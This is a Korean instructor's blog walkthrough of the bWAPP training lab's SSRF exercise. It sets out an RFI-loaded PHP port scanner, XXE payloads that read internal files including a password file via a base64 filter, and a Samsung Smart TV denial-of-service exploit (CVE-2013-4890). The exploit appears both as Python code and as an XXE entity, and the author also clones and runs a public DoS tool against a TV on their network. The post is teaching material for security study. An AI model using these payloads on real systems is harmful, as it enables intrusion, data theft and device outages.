정보보안(구버전)/ bWAPP 2019. 2. 22. 21:21

웹 해킹 bWAPP - 97. A7 - Missing Functional Level Access Control - Server Side Request Forgery(SSRF)

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다. 

 

 

1. Missing Functional Level Access Control

 

 - OWASP Top10 A7 - 기능 수준의 접근 통제 누락
 - 접근 통제 및 검증이 서버 설정, 관리 부분에서 제대로 구성되지 않았을때 중요 자원 접근이 가능한 취약점이다.
 - Ex) 디렉토리 접근, 파일 접근, 파일 다운로드 및 업로드

 

 

 

2. Server Side Request Forgery(SSRF)

 

 - 공격자가 변조된 요청을 서버에게 전송하여 서버가 내부망에 악의적인 요청을 보내는 취약점이다.

 - 이를 통해서 내부망 접근, 스캔, 보안 장비 우회가 가능하게 된다.

 - Ex) 서버가 요청 정보를 수신하여 다른 웹, 포트에 직접 접근하는 경우

 

 

 

3. XML External Entity Attacks(XXE)

 

 - XML 인젝션을 실시하여 XML Parser(마크업 분석/구조화된 정보를 어플리케이션에게 전달하는 프로세서)

   를 통해 페이지의 내용을 대체하는 권한을 획득하는 취약점이다.

 - 이를 통해서 서버 시스템 내부 자원을 접근할 수 있다. 



 

4. Missing Functional Level Access Control - Server Side Request Forgery(SSRF)

 

 - 이 시나리오는 SSRF 취약점 중에 RFI를 이용한 포트 스캔, XEE를 이용한 내부망 자원 접근, XEE를 이용한 삼성

   스마트 TV Dos 공격하는 내용이다. 단, bWAPP 내부망에 다른 시스템이 없기 때문에 bWAPP 내부 취약점을 알아본다.

 

 

  

Ex1) Missing Functional Level Access Control - Server Side Request Forgery(SSRF) 이해 I

 

 

보안 레벨 선택 및 시나리오 선택

 

 

 

SSRF 시나리오 3가지 내용 확인

 

 

 

시나리오 관련 파일 확인

bee@bee-box:/var/www/bWAPP$ cd ../evil
bee@bee-box:/var/www/evil$
bee@bee-box:/var/www/evil$ ls -l ssrf*
-rw-rw-r-- 1 root www-data 1384 2014-11-02 23:52 ssrf-1.txt
-rw-rw-r-- 1 root www-data  681 2014-11-02 23:52 ssrf-2.txt
-rw-rw-r-- 1 root www-data 1031 2014-11-02 23:52 ssrf-3.txt

 

 

 

 

Ex2) Missing Functional Level Access Control - Server Side Request Forgery(SSRF) 이해 II

 

 - RFI를 이용한 포트 스캔(bWAPP 내부망에 다른 시스템이 없기 때문에 bWAPP을 타켓으로 실시함)

 

 

bee@bee-box:/var/www/evil$ vi ssrf-1.txt

~ 중간 생략 ~

 

echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";

 

if(isset($_REQUEST["ip"]))
{
   
    //list of port numbers to scan
    $ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);
   
    $results = array();
   
    foreach($ports as $port)
    {

        if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))
        {           // 소켓 연결 가능 유무를 확인하는 기능

 

            $results[$port] = true;
            fclose($pf);
           
        }
       
        else
        {

            $results[$port] = false;       

        }

    }
 
    foreach($results as $port=>$val)
    {

 

        $prot = getservbyport($port,"tcp");
        echo "Port $port ($prot): ";

 

        if($val)
        {

 

            echo "<span style=\"color:green\">OK</span><br/>";

        }

        else
        {

 

            echo "<span style=\"color:red\">Inaccessible</span><br/>";

        }

 

    }

 

}


?>

 

:q!

 

 

 

'Port scan' 클릭

 

 

 

'ssrf-1.txt' 파일 URL 주소 복사 실시

 

 

 

'Remote & Local File Inclusion(RFI/LFI)' 시나리오 선택

 

 

 

'Go' 버튼 클릭

 

 

 

97-0. SSRF 취약점 URL-1.txt

'ssrf-1.txt' 링크 인젝션 실시 -> 메세지 확인 -> '확인' 버튼 클릭

 

 

 

RFI를 이용한 포트 스캔 결과 확인

 

 

 

 

Ex3) Missing Functional Level Access Control - Server Side Request Forgery(SSRF) 이해 III

 

 - XXE를 이용한 내부망 자원 접근(bWAPP 내부망에 다른 시스템이 없기 때문에 bWAPP을 타켓으로 실시함)

 

 

bee@bee-box:/var/www/evil$ vi ssrf-2.txt

# Accesses a file on the internal network (1)

 

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>


# Accesses a file on the internal network (2)
# Web pages returns some characters that break the XML schema > use the PHP base64 encoder filter to return an XML schema friendly version of the page!

 

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

 

:q!

 

 

 

'Server Side Request Forgery(SSRF)' 시나리오 선택

 

 

 

'Access' 클릭

 

 

 

XXE 스크립트 2개 복사 실시

 

 

 

'SQL Injection - Stored(XML)' 시나리오 선택

 

 

 

Intercept -> 'Intercept is on' 으로 변경 실시

 

 

'Any bugs?" 버튼 클릭

 

 

 

마우스 우클릭 -> 'Send to Repeater' 클릭 -> Repeater 클릭 및 이동

 

 

 

97-1. SSRF 취약점 URL-2.txt

Request Body에 XEE 스크립트 실시

POST /bWAPP/sqli_8-2.php HTTP/1.1

Host: 192.168.20.205

User-Agent: Mozilla/5.0 (Linux; Android 7.0; PLUS Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.20.205/bWAPP/sqli_8-1.php

Content-Type: text/xml; charset=UTF-8

Content-Length: 59

Cookie: PHPSESSID=72c2ecdfb957492d99fae2b7819d7648; security_level=0

Connection: close

 

<reset><login>bee</login><secret>Any bugs?</secret></reset>  <- 기존 내용

 

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">        <- 변경 내용
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

 

 

 

'Go' 버튼 클릭 -> Response에 'robots.txt' 파일 내용 확인 

 

 

 

97-2. SSRF 취약점 URL-3.txt

Request Body에 XEE 스크립트 실시 -> 'Go' 버튼 클릭 -> Response 내용의 'heroes.xml' Base64 인코딩 내용 확인

 

 

 

'Proxy' 클릭 및 이동 -> Intercept is on 클릭하여 off 실시 

 

 

 

 'Intercept is off' 확인

 

 

 

[참고] Base64 인코드/디코드 사이트

 

https://www.base64decode.org/


 

'heroes.xml' Base64 디코딩 실시 및 내용 확인

 

 

 

 

Ex4) Missing Functional Level Access Control - Server Side Request Forgery(SSRF) 이해 IV

 

 - XXE를 이용한 삼성 스마트 TV(PS50C7700) Dos 공격이다.

 - GET 요청으로 A를 300개를 설정하여 전송하면 서비스가 중지되는 취약점이다. 

 - 참고 사이트 : https://www.exploit-db.com/exploits/27043

 - CVE-2013-4890 취약점 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4890

 

 

 'exploit-db' 사이트 내용

# Sends the payload
print "  Sending the malicious payload...\n"
conn = httplib.HTTPConnection(sys.argv[1],5600)
conn.request("GET", "A"*300)
conn.close()

 

# Checks the response
print "  Checking the status... (CTRL+Z to stop)\n"
response = 0
while response == 0:
  response = os.system("ping -c 1 " + sys.argv[1] + "> /dev/null 2>&1")
  if response != 0:
    print "  Target down!\n"

 

 

 

 

CVE-2013-4890 취약점

 

 

 

bee@bee-box:/var/www/evil$ vi ssrf-3.txt

# Crashes my Samsung SmartTV (CVE-2013-4890) ;)

 

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY bWAPP SYSTEM "http://[IP]:5600/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

:q!

 

bee@bee-box:/var/www/evil$ cd -
/var/www/bWAPP

bee@bee-box:/var/www/bWAPP$

 

 

 

'Server Side Request Forgery(SSRF)' 시나리오 선택

 

 

 

'Crash' 클릭

 

 

 

A 300개를 GET 요청에 삽입하여 전송하면 공격이 실시됨

 

 

 

삼성 스마트 TV(192.168.1.3)을 타켓으로 nmap 실시(모델이 다른 TV이기 때문에 5600 포트가 안보임)

root@kali:~# nmap -sS 192.168.1.3

 

Starting Nmap 7.60 ( https://nmap.org ) at 2019-02-25 15:22 KST
Nmap scan report for 192.168.1.3
Host is up (0.038s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
7676/tcp open  imqbrokerd
8000/tcp open  http-alt
8001/tcp open  vcom-tunnel
8002/tcp open  teradataordbms
8080/tcp open  http-proxy
9999/tcp open  abyss


MAC Address: B8:BB:AF:2D:51:2F (Samsung Electronics)

Nmap done: 1 IP address (1 host up) scanned in 14.05 seconds


root@kali:~#

 

 

 

와이어샤크 실행 -> 'eth0' 캡처 실시

root@kali:~/# wireshark &
[1] 5608 

 

 

 

97-4. CVE-2013-4890 툴 다운로드.txt

삼성 스마트 TV 공격 소스 코드 다운로드 및 실행

root@kali:~# git clone https://github.com/r00t-3xp10it/Samsung-TV-Denial-of-Service-DoS-Attack.git
'Samsung-TV-Denial-of-Service-DoS-Attack'에 복제합니다...
remote: Enumerating objects: 7, done.
remote: Counting objects: 100% (7/7), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 7 (delta 1), reused 7 (delta 1), pack-reused 0
오브젝트 묶음 푸는 중: 100% (7/7), 완료.
 
root@kali:~# ls
 Ransomware                               pass.txt
Desktop    Samsung-TV-Denial-of-Service-DoS-Attack  password.txt
Documents  Templates                                rfi.php
Downloads  Videos                                   slowloris.pl
Music      b374k-3.2.2.php                          test.php
O-Saft     bWAPP.snmp                               testssl.sh
Pictures   base64pass.txt                           udev_netlink.rb
Public     o-saft.tgz                               user.txt

 

 

root@kali:~# cd Samsung-TV-Denial-of-Service-DoS-Attack
root@kali:~/Samsung-TV-Denial-of-Service-DoS-Attack# ls
README.md  Samsung_D0s.py

root@kali:~/Samsung-TV-Denial-of-Service-DoS-Attack# chmod 755 Samsung_D0s.py
root@kali:~/Samsung-TV-Denial-of-Service-DoS-Attack# ./Samsung_D0s.py 192.168.1.3

 

 

 

 

와이어샤크 캡처 내용 확인(목적지 포트 5600 확인)

 

 

 

참고 영상 : https://www.youtube.com/watch?v=U-R2epNnUiM

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)

 

웹해킹 97. A7 - bWAPP Missing Functional Level Access Control - Server Side Request Forgery(SSRF)


https://youtu.be/ygjMU-Rd0Lc



Posted by 김정우 강사(카카오톡 : kim10322)
,


Q